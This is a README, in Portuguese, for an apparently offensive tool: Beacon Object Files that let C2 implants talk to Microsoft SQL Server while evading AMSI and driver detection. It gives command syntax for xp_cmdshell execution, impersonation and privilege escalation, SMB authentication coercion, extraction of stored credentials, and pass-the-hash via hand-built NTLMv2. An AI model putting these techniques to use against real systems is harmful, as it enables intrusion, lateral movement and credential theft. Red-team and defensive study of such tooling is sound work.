
Um conjunto de Beacon Object File para Microsoft SQL Server que fala TDS 7.4 diretamente na rede.
Um conjunto de Beacon Object Files para Microsoft SQL Server que fala TDS 7.4 diretamente no fio, em C. Sem msodbcsql.dll, sem sqloledb.dll, sem .NET CLR, sem PowerShell. Um COFF por arquitetura, carrega em qualquer beacon que honre a API Beacon canônica.
O SQL Server aparece em quase todos os engajamentos. As duas ferramentas que as pessoas usam são SQLRecon / PowerUpSQL (CLR + PowerShell) e qualquer coisa que envolva sqlcmd.exe. Ambas deixam mscoree.dll, eventos AMSI do PowerShell ou uma cópia completa do driver ODBC da Microsoft na memória do beacon. Nada disso é necessário: TDS são apenas bytes encapsulados sobre TCP com um handshake Schannel na frente, e todo beacon capaz de BOF já tem ws2_32, secur32, schannel e bcrypt carregados.
Então o mssqlbof implementa TDS manualmente, em C, e conecta-se diretamente às primitivas SSPI ou BCrypt que o operador precisar para o alvo. O beacon carrega um objeto de ~48 KB, executa SQL, descarrega. Nada mais entra no processo.
| C2 | x64 | x86 |
|---|---|---|
| Cobalt Strike | sim | sim |
| Havoc | sim | sim |
| Sliver | sim | sim |
| BruteRatel | sim | sim |
| Nighthawk | sim | sim |
| Outflank Stage1 | sim | sim |
| AdaptixC2 | sim | sim |
Metasploit execute_bof | sim | sim |
| PoshC2 | sim | sim |
Um arquivo objeto por arquitetura. O mssql.x64.o é o mesmo binário em todas as frameworks — usamos apenas a API Beacon canônica (BeaconPrintf, BeaconDataExtract, etc.) e o padrão de importação dinâmica <LIB>$<fn> que os carregadores COFF resolvem em tempo de execução.
apt install gcc-mingw-w64 libssl-dev
make
Produz build/mssql.x64.o e build/mssql.x86.o. Coloque no servidor da equipe, carregue com o executor BOF do seu C2.
Tudo passa por um único arquivo objeto com --action <verbo>:
--action find Enumeração LDAP de SPNs MSSQLSvc na floresta atual
--action info --host <sql> servidor/versão/usuário atual/sysadmin/db
--action query --host <sql> --sql "..." T-SQL arbitrário, múltiplas linhas, múltiplos conjuntos de resultados
--action links --host <sql> Enumeração de servidores vinculados (um salto)
--action exec --host <sql> --cmd "..." xp_cmdshell com auto-habilitação + restauração
--action impersonate --host <sql> --discover Listar logins para os quais pode fazer EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
Executar T-SQL como X via EXECUTE AS LOGIN
--action privesc --host <sql> Enumeração da superfície de privesc em seis seções
--action coerce --host <sql> --to "\\listener\x"
Coerção de autenticação SMB via xp_dirtree
--action passwords --host <sql> Extrair sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find roda sem host — fala com o DC do operador via LDAP.
Quatro modos. Cada modo é verificado ponta a ponta contra SQL Server 2019 tanto no COFFLoader quanto no Adaptix C2 em um domínio real.
--auth sspi (padrão) token da thread atual do beacon
Kerberos se SPN existir, NTLM caso contrário.
Respeita make_token / steal_token.
--auth ntlm --domain D --user U --pass P NTLM explícito com senha em texto claro.
Usa o pacote NTLM do SSPI, múltiplas etapas.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
NTLMv2 manual (veja abaixo).
Sem SSPI, sem lsass, sem make_token.
--auth sql --user U --pass P Autenticação SQL.
--hash aceita um hash NT hexadecimal de 32 caracteres ou o formato LM:NT que o secretsdump emite.
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) só aceita senhas em texto claro na estrutura de identidade de credencial. O provedor NTLM deriva o hash NT internamente. Fornecer um hash requer modificar o lsass (o que o Mimikatz sekurlsa::pth faz) ou executar o beacon sob um processo sacrificial que já foi pré-autenticado.
A alternativa — a que adotamos — é ignorar o SSPI para PTH completamente e gerar as mensagens NTLMSSP nós mesmos. O src/tds/ntlm_pth.c constrói um Type 1 NEGOTIATE, analisa o Type 2 CHALLENGE do servidor a partir do token TDS 0xED, executa a matemática NTLMv2 com o provedor HMAC-MD5 do bcrypt.dll e escreve um Type 3 AUTHENTICATE que o SQL Server felizmente encaminha para o DC.
A primeira tentativa falhou com erro 18452: o login é de um domínio não confiável. Capturar a autenticação funcional do Impacket no fio ao lado da nossa ajudou a identificar rapidamente: estávamos enviando 24 zeros para a resposta LMv2 e a sopa completa de flags de negociação do Windows 0xe288... Igualar o cálculo LMv2 do Impacket e seu conjunto menor de flags 0xa2880205 (sem KEY_EXCH, sem SIGN, sem ALWAYS_SIGN) fez o servidor aceitar o hash. Escrito no BLOG.
--action exec--impersonate auto (padrão) tentar EXECUTE AS LOGIN, depois salto TRUSTWORTHY
--impersonate login EXECUTE AS LOGIN via uma concessão IMPERSONATE
--impersonate trustworthy saltar por dbo de um banco TRUSTWORTHY de propriedade de sysadmin
--impersonate none falhar se não for sysadmin
privesc enumera a superfície antes de você escolher um método: associação sysadmin, concessões IMPERSONATE (com o status sysadmin do login alvo), bancos TRUSTWORTHY de propriedade de um sysadmin (com seu acesso), servidores vinculados, permissões de nível de servidor e estado de xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # compilar BOFs de forma cruzada para x64 + x86
make tds # biblioteca compartilhada Linux do núcleo TDS (para fuzzing / testes)
A biblioteca compartilhada Linux compartilha todos os arquivos fonte TDS com a compilação Windows; apenas tls_schannel.c / sspi.c / ntlm_pth.c são trocados por seus equivalentes OpenSSL / stub.
Nada chama libc ou Win32 diretamente. Todo símbolo externo passa pela convenção de importação dinâmica <LIB>$<fn> em src/common/dynimports.h. Verifique com:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Apenas MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$* e __imp_Beacon* devem aparecer. Sem msodbcsql.dll. Sem sqloledb.dll. Sem mscoree.dll.